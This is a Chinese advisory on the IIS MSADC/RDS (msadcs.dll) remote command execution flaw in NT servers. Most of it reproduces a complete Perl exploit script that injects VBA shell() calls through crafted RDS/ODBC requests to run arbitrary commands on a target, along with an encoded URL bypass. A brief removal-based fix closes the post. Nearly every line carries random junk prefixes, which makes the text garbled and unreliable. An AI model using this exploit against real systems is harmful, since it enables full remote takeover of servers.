IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v%Xe)D +.uk#K0o 涉及程序：
|g !#
\ Microsoft NT server
~(S4/d5 "|rqt.f2[ 描述：
V0(ABi :d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1 \kehCt u'."E7o# 详细：
GC3L2C0)k 如果你没有时间读详细内容的话，就删除:
?Ea"%z*c5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
#+\G-
=- 有关的安全问题就没有了。
v\FD~ \]El%j4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
'+wTrW m~j {xH@8T$DX 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
7F~+z7(h 关于利用ODBC远程漏洞的描述，请参看:
;{20Heuz E]Q)pZ{Jb http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \:7EKzQ Mr(3]EfgO 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
vS#]RW&j http://www.microsoft.com/security/bulletins/MS99-025faq.asp X; tk\Ixd 1 doqznO 这里不再论述。
PMcyQ2R-> <i-RF-*S 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
b.&YUg[# f_8~b0` /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7(Kc9sJC%% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Is[0ri Y`uCDfcQ (WvA9s{/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
=UY@,*q:c 3OlY Ml #!perl
AbB>ZT> hR #
"5K : "m # MSADC/RDS 'usage' (aka exploit) script
?a@l.ZM* #
clNP9{ # by rain.forest.puppy
v#xF;@G #
kTV D 4Z= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
q-#fuD^ # beta test and find errors!
&3V4~L1aEg bkTj
Q use Socket; use Getopt::Std;
F ceT' getopts("e:vd:h:XR", \%args);
uHYI :(O ^E^: =Q?'_ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|wx1
[xZ [ Wc 73- if (!defined $args{h} && !defined $args{R}) {
Alz#zBG b print qq~
ff0,K#- Usage: msadc.pl -h <host> { -d <delay> -X -v }
syF/jWM5 -h <host> = host you want to scan (ip or domain)
(!s[~O 6 -d <seconds> = delay between calls, default 1 second
jk@]d5 -X = dump Index Server path table, if available
d<o -v = verbose
^_uzr}LE` -e = external dictionary file for step 5
=RA6 p aF:LL>H Or a -R will resume a command session
XJ"9D#"a> V]2Q92 ~; exit;}
@p; 4g_F Dts:$PlCk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uw]J m"=w if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ryN-d%t? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|d K-r if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/+u*9ZR&1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9YKEME+: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^^m%[$nw&r SzgVvmM} if (!defined $args{R}){ $ret = &has_msadc;
tyh %s " die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pyKMi /)bL j^gF~ Wz^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
LHp s2, . "cmd /c ";
F3q5!1 $in=<STDIN>; chomp $in;
LPC7Bdjz $command="cmd /c " . $in ;
J0IK =Y A.[T#ZB.4 if (defined $args{R}) {&load; exit;}
=LR UasF {q^KlSjm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zv41Yv!x} &try_btcustmr;
ee0J;pP2# /bWV `* print "\nStep 2: Trying to make our own DSN...";
!E%!, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,3 wo Vr'Z5F*@ print "\nStep 3: Trying known DSNs...";
,Gfnf%H\8> &known_dsn;
p:
o*= z,)Fv s4U. print "\nStep 4: Trying known .mdbs...";
m#Cp.|>kP4 &known_mdb;
*;Vq0a! m +gVGK
if (defined $args{e}){
aUnm9 u r print "\nStep 5: Trying dictionary of DSN names...";
&IcDU r]L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-Je+7#P1 rP'oU V_ print "Sorry Charley...maybe next time?\n";
=xgW$c/yB exit;
I
?1E}bv [f'7 /w+ ##############################################################################
=Zj9F1E[i wdg[pt
/> sub sendraw { # ripped and modded from whisker
1||e !W sleep($delay); # it's a DoS on the server! At least on mine...
V 1ug.Jv^ my ($pstr)=@_;
@wo9;DW` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&c]x;#-y die("Socket problems\n");
;j$84o{ if(connect(S,pack "SnA4x8",2,80,$target)){
*q^ '%' select(S); $|=1;
! M bRI print $pstr; my @in=<S>;
G
5)?! select(STDOUT); close(S);
_?{2{^v return @in;
&rn,[w_F[ } else { die("Can't connect...\n"); }}
_2|,j\f;L #8PjYB ##############################################################################
!o`al` q' vOqT Ld sub make_header { # make the HTTP request
{ Z |C my $msadc=<<EOT
/:S.(" Unv POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
eA!aUu User-Agent: ACTIVEDATA
w:qwU\U>x Host: $ip
.N%$I6w Content-Length: $clen
Z8m /8M Connection: Keep-Alive
m+o>`1>a LcF0: h ' ADCClientVersion:01.06
G^+0</Q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b^ v.FK46G LE7o[<> --!ADM!ROX!YOUR!WORLD!
MFC= oKD Content-Type: application/x-varg
(F
@IUbnl Content-Length: $reqlen
]Y3ALQr! zR e0z2 EOT
+Y .A s ; $msadc=~s/\n/\r\n/g;
;G w5gK^ return $msadc;}
YXmLd'F^3 _8bqk\m+ ##############################################################################
P?bdjU#_n` 5f1yszd sub make_req { # make the RDS request
zP5H TEz my ($switch, $p1, $p2)=@_;
rIu>Jy C"p my $req=""; my $t1, $t2, $query, $dsn;
o}[wu:>yk 1f}Dza 9 if ($switch==1){ # this is the btcustmr.mdb query
a1?Y7(alPU $query="Select * from Customers where City=" . make_shell();
y_\d[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*QrTZ$\C $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Ngg (<ZN Cu0 /TeEM elsif ($switch==2){ # this is general make table query
*{XbC\j $query="create table AZZ (B int, C varchar(10))";
A> X#[qx $dsn="$p1";}
E B)0 iQ u!t'J+: elsif ($switch==3){ # this is general exploit table query
RlpW)\{j? $query="select * from AZZ where C=" . make_shell();
`/0FXb
8h $dsn="$p1";}
tf>?; C3 D1rS/I elsif ($switch==4){ # attempt to hork file info from index server
~V (WD;Mk $query="select path from scope()";
k&9
b&-=fk $dsn="Provider=MSIDXS;";}
9D&ocV3QV grv 3aa@ elsif ($switch==5){ # bad query
xNT[ (( $query="select";
:
G< 1 $dsn="$p1";}
OYe @P uHy^ Bq $t1= make_unicode($query);
!W8$-iq $t2= make_unicode($dsn);
dD#A.C,Rz $req = "\x02\x00\x03\x00";
S]k<Ixvf $req.= "\x08\x00" . pack ("S1", length($t1));
ETYw $req.= "\x00\x00" . $t1 ;
O% rjY $req.= "\x08\x00" . pack ("S1", length($t2));
htIV`_<Ro $req.= "\x00\x00" . $t2 ;
RF qbwPX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
U#YM)8;Iz return $req;}
n`}vcVL; kGCd!$fsk ##############################################################################
hM i`n6m ^ng?+X>mP sub make_shell { # this makes the shell() statement
Zsaz#z|xW return "'|shell(\"$command\")|'";}
VNF@)!l uZi]$/ic ##############################################################################
75gE>:f Dk/;`sXV sub make_unicode { # quick little function to convert to unicode
7 v#sr< my ($in)=@_; my $out;
BsR xD9r for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'r3I/qg*m return $out;}
zxXm9z rLo )
_"`{2 ##############################################################################
\
VJ3 )~rN{W<s`H sub rdo_success { # checks for RDO return success (this is kludge)
GBN^ *I my (@in) = @_; my $base=content_start(@in);
~fEgrF d if($in[$base]=~/multipart\/mixed/){
c}lUP(Ss return 1 if( $in[$base+10]=~/^\x09\x00/ );}
F?T A yD* return 0;}
Xn4U!<RT" }VdohX- ##############################################################################
jeC3}BL } DjtUX>e sub make_dsn { # this makes a DSN for us
1Qv5m^>vj my @drives=("c","d","e","f");
]r{y+g| print "\nMaking DSN: ";
Q
R;Xj3]v foreach $drive (@drives) {
6!O~:\`DJ print "$drive: ";
lkOugj I my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`9%@{Ryo "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1%t9ic . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
d XrLeoK $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"\Z.YZUa\ return 0 if $2 eq "404"; # not found/doesn't exist
+ wr2TT~ if($2 eq "200") {
;i> |5tEy foreach $line (@results) {
G-xW&wC- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
u05Zg*.[ } return 0;}
?(4 =:o Js ~ _8 ##############################################################################
qf7 lQovK o{lR_ sub verify_exists {
BH0].-)[y! my ($page)=@_;
YR^J7b\ my @results=sendraw("GET $page HTTP/1.0\n\n");
ma,H<0R return $results[0];}
{+!m]-s *C Me:a ##############################################################################
8 Ys DE_ w HvX|GwMv sub try_btcustmr {
iO~3rW Q my @drives=("c","d","e","f");
]^$3S my @dirs=("winnt","winnt35","winnt351","win","windows");
V )=!pT T Dq(%IW foreach $dir (@dirs) {
= a$7OV. print "$dir -> "; # fun status so you can see progress
uPQ:}zL2 foreach $drive (@drives) {
tU.Y$%4 print "$drive: "; # ditto
ZkSlztL)Tr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
by (xv0v; $reqlenlen=length( "$reqlen" );
Z.ky=vC t $clen= 206 + $reqlenlen + $reqlen;
Vf: /Kokq &A)AV<=>T my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Qo+I98L X[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
j}ywdP`a else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_o`+c wc Bf1,(^3XH ##############################################################################
* G!C 'w\$ ^}fc ]ovV sub odbc_error {
b"DaLwK kz my (@in)=@_; my $base;
FL*qV"r^n my $base = content_start(@in);
jgNdcP if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4+"2K-] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LX2rg\a+% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WdI9))J2S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4+I @ return $in[$base+4].$in[$base+5].$in[$base+6];}
]-]K 4*{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
lLhvpvT print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z-ns@y(f@X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|qTvy,U[ }@6ws/5 ##############################################################################
RC?gozBFJ a|S6r-_;s sub verbose {
n .is+2t my ($in)=@_;
)S"! )\4 b return if !$verbose;
x#
M MrV&M print STDOUT "\n$in\n";}
I8};t b# 0+S ;0 ##############################################################################
cH>@ZFTF ,^wjtA 3j8 sub save {
O?,Grn%'. my ($p1, $p2, $p3, $p4)=@_;
T P3KT) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
F^4mO| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
WAq! _xE close OUT;}
KEfN!6 p.@ kv ##############################################################################
!U: :kr=t Aq 5CF`e{ sub load {
Ob! NC& my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Rp^f Y _ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GY`mF1b @p=<IN>; close(IN);
;*(i}' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
pYN.tD FO $target= inet_aton($ip) || die("inet_aton problems");
& ci;0P#Q print "Resuming to $ip ...";
Hnft1
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?kM2/a"{G if($p[1]==1) {
c,j[ix $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+L0Jje>Az $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+h ]~m_O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
N =T 0Td if (rdo_success(@results)){print "Success!\n";}
Kj53"eW else { print "failed\n"; verbose(odbc_error(@results));}}
w`YN#G elsif ($p[1]==3){
R E0ud_q2 if(run_query("$p[3]")){
d H N"pNNs print "Success!\n";} else { print "failed\n"; }}
"f~*4g elsif ($p[1]==4){
D?.H|% if(run_query($drvst . "$p[3]")){
Y~TD)c= print "Success!\n"; } else { print "failed\n"; }}
'2z1$zst,# exit;}
^V}c8 P| =O%Hf bx ##############################################################################
G !)Q"+ ;~,)6UX 7 sub create_table {
F,8 ?du] my ($in)=@_;
rSa=NpFxLu $reqlen=length( make_req(2,$in,"") ) - 28;
#_SsSD=.Sy $reqlenlen=length( "$reqlen" );
-xXdT$Xd $clen= 206 + $reqlenlen + $reqlen;
G)IK5zCDd my @results=sendraw(make_header() . make_req(2,$in,""));
Ev Ye1Y- return 1 if rdo_success(@results);
CL3 b+r my $temp= odbc_error(@results); verbose($temp);
%ZsdCQc{` return 1 if $temp=~/Table 'AZZ' already exists/;
HT:V;?" return 0;}
^>/~MCyM. XjXz#0nR ##############################################################################
b|-}?@&7&q ??#SQSU sub known_dsn {
V_3K((P6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
K+\2cf?bU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dL]wu! wE "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CzDV^Iv;Q{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
'iWDYZ? b+`qGJrej foreach $dSn (@dsns) {
QX u[<V print ".";
!$N QF/Ol next if (!is_access("DSN=$dSn"));
WJJmM*>JW if(create_table("DSN=$dSn")){
Z'UhJu D5 print "$dSn successful\n";
}Uu#N H if(run_query("DSN=$dSn")){
}
fa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p %R+ c print "Something's borked. Use verbose next time\n";}}} print "\n";}
+'/C(5y)0X %p:Z(zU ##############################################################################
z3c7 Ot+Z}Z- sub is_access {
)DGJr/) my ($in)=@_;
" +M0lGTB $reqlen=length( make_req(5,$in,"") ) - 28;
|LR Ab#F\ $reqlenlen=length( "$reqlen" );
.~C%:bDnX7 $clen= 206 + $reqlenlen + $reqlen;
EK& ";(x2( my @results=sendraw(make_header() . make_req(5,$in,""));
a>Wr2gPko my $temp= odbc_error(@results);
*X5<]{7c verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Kzx`
E>,z' return 0;}
@_$Un&eo .ah[!O ##############################################################################
|It&1f z} Q@1SqK#-DQ sub run_query {
"l{{H&d my ($in)=@_;
e3m FO + $reqlen=length( make_req(3,$in,"") ) - 28;
99tUw' w $reqlenlen=length( "$reqlen" );
ix hF,F $clen= 206 + $reqlenlen + $reqlen;
4T]A!
y{
my @results=sendraw(make_header() . make_req(3,$in,""));
6 w'))Z return 1 if rdo_success(@results);
klAvi%^jE my $temp= odbc_error(@results); verbose($temp);
'|<r[K return 0;}
U.WXh(`% /}/GK| tj ##############################################################################
BNgm+1?L z=TO G P( sub known_mdb {
|- <72$j my @drives=("c","d","e","f","g");
T`bUBrK6g` my @dirs=("winnt","winnt35","winnt351","win","windows");
zR4]buHnE my $dir, $drive, $mdb;
OdpHF~(Y/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^T*!~K8A aL*}@|JL" # this is sparse, because I don't know of many
xI_0`@do my @sysmdbs=( "\\catroot\\icatalog.mdb",
0NK|3]p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~Ajst!Y7= "\\system32\\certmdb.mdb",
3Vb t(K "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
h=qT@)h1> UxxX8N my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
j#U,zs v: "\\cfusion\\cfapps\\forums\\forums_.mdb",
.D*~UI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Cmp5or6d "\\cfusion\\cfapps\\security\\realm_.mdb",
b!e0pFS; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LJ6l 3)tpD "\\cfusion\\database\\cfexamples.mdb",
zwU1(?]I{ "\\cfusion\\database\\cfsnippets.mdb",
*+XiBho "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+/bD9x 1H "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
s(?%A "\\cfusion\\brighttiger\\database\\cleam.mdb",
dBwoAq`' "\\cfusion\\database\\smpolicy.mdb",
+v~x_E5FP "\\cfusion\\database\cypress.mdb",
\H9:%Tlp~4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]9PG"<^k "\\website\\cgi-win\\dbsample.mdb",
mE=Ur "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?6]B6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~%2yDhdQ ); #these are just
+ MD84YR foreach $drive (@drives) {
p6aR/gFkqv foreach $dir (@dirs){
7n?yf_ je foreach $mdb (@sysmdbs) {
Z- t&AH print ".";
t3! OqM if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]Ok'C"V(j print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(S4HU_,88 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
L [Ot$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6Xz d> 5x } else { print "Something's borked. Use verbose next time\n"; }}}}}
8#\|Y~P 6i%6u=um3 foreach $drive (@drives) {
,
@!X! L foreach $mdb (@mdbs) {
VR .t print ".";
XUKlgl!+. if(create_table($drv . $drive . $dir . $mdb)){
>28l9 U print "\n" . $drive . $dir . $mdb . " successful\n";
"h #/b}/ if(run_query($drv . $drive . $dir . $mdb)){
?"^{:~\N print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
lSBR(a<\y } else { print "Something's borked. Use verbose next time\n"; }}}}
p_
f<@WE }
' <xE 0< y Z[=Y ##############################################################################
rHM^_sYRb GXIzAB( sub hork_idx {
&2U%/J qY print "\nAttempting to dump Index Server tables...\n";
WzoI0E` print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
pF7N = mO $reqlen=length( make_req(4,"","") ) - 28;
<f`n[QD2z $reqlenlen=length( "$reqlen" );
}#-@5["-X $clen= 206 + $reqlenlen + $reqlen;
`N&*+!O% my @results=sendraw2(make_header() . make_req(4,"",""));
^{{a
v?h if (rdo_success(@results)){
q)f_! N my $max=@results; my $c; my %d;
Bz <I7h for($c=19; $c<$max; $c++){
)0/*j]Kf $results[$c]=~s/\x00//g;
mE5{)<N:C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
iE}] E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
/ Y od $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6VC|]
|* $d{"$1$2"}="";}
a5R.
\a<q foreach $c (keys %d){ print "$c\n"; }
M PDRMGR@i } else {print "Index server doesn't seem to be installed.\n"; }}
h _{f_GQ" ]8fn1Hx\ ##############################################################################
?wv^X`Q*~ ^EKRbPA9:< sub dsn_dict {
qH5nw}] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Jfk#E^1 while(<IN>){
NJ+$3n om $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
vy}_aD{B next if (!is_access("DSN=$dSn"));
+7o1&D*v if(create_table("DSN=$dSn")){
39hep 8+ print "$dSn successful\n";
^N[ Cip}8 if(run_query("DSN=$dSn")){
LT
Pr8^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hRRxOr#*$ print "Something's borked. Use verbose next time\n";}}}
H la?\ print "\n"; close(IN);}
u
z7|!G!43 C 0 KFN ##############################################################################
7Mq{Py1 1Ml<> sub sendraw2 { # ripped and modded from whisker
+uSp3gE" sleep($delay); # it's a DoS on the server! At least on mine...
CQNMCYjg(R my ($pstr)=@_;
<tBT?#C9+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9 " t; 6 die("Socket problems\n");
z@,(^~C_ if(connect(S,pack "SnA4x8",2,80,$target)){
Z$g'h1,zW print "Connected. Getting data";
X' <RqvDc5 open(OUT,">raw.out"); my @in;
VBQAkl?(}4 select(S); $|=1; print $pstr;
l"(PP3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Gp
\-AwE close(OUT); select(STDOUT); close(S); return @in;
5I,NvHD4 } else { die("Can't connect...\n"); }}
tM;cvc`/ A_\Jb}J1< ##############################################################################
xGQP *nZ W 4&8 sub content_start { # this will take in the server headers
k }F7Jw#. my (@in)=@_; my $c;
;Z"MO@9: for ($c=1;$c<500;$c++) {
R.*;] R>M if($in[$c] =~/^\x0d\x0a/){
<W! n lh if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2I}+AW!!= else { return $c+1; }}}
,*U-o}{8C? return -1;} # it should never get here actually
717THci3Y Wz=&
0>Mm_ ##############################################################################
D k a8[z7 N2U&TCc sub funky {
\1gAWUt(' my (@in)=@_; my $error=odbc_error(@in);
hHTt-x# if($error=~/ADO could not find the specified provider/){
-&`_bf%M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
E
b:iym0 exit;}
i+mU(/l2{ if($error=~/A Handler is required/){
|9%~ z0 print "\nServer has custom handler filters (they most likely are patched)\n";
{q`8+ $Z; exit;}
>n3GvZ5% if($error=~/specified Handler has denied Access/){
&gruYZGK print "\nServer has custom handler filters (they most likely are patched)\n";
p\6}<b"p exit;}}
b9vud r C 5-u86F ##############################################################################
>oWPwXA 8^+|I, sub has_msadc {
X4 S | JT my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\Db ;7wh my $base=content_start(@results);
eu" m0Q return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
oNe:<YT
return 0;}
iB(?}SaAZ w-ald?` ########################
lAM)X&}0 v5L+B`~ &! h~UZ 解决方案：
)L6
i t 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
..E_M$} 2、移除web 目录: /msadc
